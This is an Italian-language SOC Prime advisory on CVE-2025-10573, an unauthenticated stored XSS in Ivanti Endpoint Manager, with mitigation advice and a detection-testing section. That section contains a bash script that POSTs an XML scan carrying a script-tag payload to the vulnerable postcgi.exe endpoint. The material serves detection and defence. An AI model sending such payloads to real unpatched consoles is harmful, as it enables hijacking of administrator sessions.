SOC Prime Bias: Critico

10 Dic 2025 19:54

CVE-2025-10573: Vulnerabilità XSS Stored Non Autenticata in Ivanti EPM (Risolto)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
CVE-2025-10573: Vulnerabilità XSS Stored Non Autenticata in Ivanti EPM (Risolto)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Ivanti Endpoint Manager (EPM) contiene una vulnerabilità di cross-site scripting memorizzata che consente a un attaccante non autenticato di iniettare JavaScript malevolo nei dati di scansione del dispositivo. Quando questo payload viene visualizzato nel dashboard web della console di gestione, può essere utilizzato per sequestrare la sessione di un amministratore. Il problema è monitorato come CVE-2025-10573 e ha un punteggio CVSS di 9.6.

Indagine

Rapid7 ha analizzato un’installazione di Ivanti EPM 11.0.6 Core su Windows Server 2022 e ha scoperto che una richiesta POST creata verso /incomingdata/postcgi.exe con campi key=value malevoli causa la memorizzazione e successiva esecuzione di JavaScript nell’interfaccia utente dell’amministratore. Il comportamento insicuro del binario CGI postcgi.exe, che scrive file di scansione al di fuori della radice web, abilita questo percorso di iniezione.

Mitigazione

Ivanti ha rilasciato una patch il 2025-12-09 e l’aggiornamento alla versione Ivanti EPM 2024 SU4 SR1 elimina la vulnerabilità. Rapid7 fornirà un controllo di vulnerabilità autenticato per i clienti di Exposure Command, InsightVM e Nexpose per aiutare a identificare le installazioni affette.

Risposta

Le organizzazioni dovrebbero immediatamente distribuire l’aggiornamento 2024 SU4 SR1, limitare l’accesso non autenticato all’API /incomingdata e monitorare i log del server web per richieste POST rivolte a postcgi.exe. Dovrebbero anche rivedere le sessioni degli amministratori per segni di dirottamento e ruotare eventuali credenziali che potrebbero essere state compromesse.

Flusso dell’Attacco

Stiamo ancora aggiornando questa parte. Iscriviti per ricevere una notifica

Avvisami

Esecuzione Simulazione

Prerequisito: Il controllo preliminare di telemetria e base deve essere superato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.

  • Narrativa dell’Attacco & Comandi:
    Un attaccante, dopo aver scoperto che il endpoint di scansione Ivanti EPM è non autenticato, crea un carico di scansione malevolo incorporando un <script> tag che visualizza un avviso (rappresentando il dirottamento della sessione). L’attaccante utilizza curl per inviare questo payload, imitando un invio legittimo di scansione del dispositivo. Poiché il payload corrisponde esattamente alla stringa che la regola osserva, il SIEM dovrebbe generare un avviso.

  • Script di Test di Regressione:

    #!/bin/bash
    # -------------------------------------------------
    # Simulate stored XSS against Ivanti EPM scan API
    # -------------------------------------------------
    
    # Target URL (adjust host as needed)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # Malicious payload – exactly the string the rule expects
    PAYLOAD="<script>alert('Administrator account has been hijacked')</script>"
    
    # Full XML body that Ivanti EPM expects (simplified)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # Send the request
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "Malicious scan submitted."
  • Comandi di Pulizia:
    I dati di scansione persistono nel database Ivanti EPM; la cancellazione richiede tipicamente un amministratore autenticato. Per scopi di test, il passaggio di pulizia è limitato alla rimozione del file di test da qualsiasi cattura di log locale.

    #!/bin/bash
    # Simple cleanup: remove temporary curl logs (if any)
    rm -f /tmp/curl_log_*
    echo "Local test artifacts removed."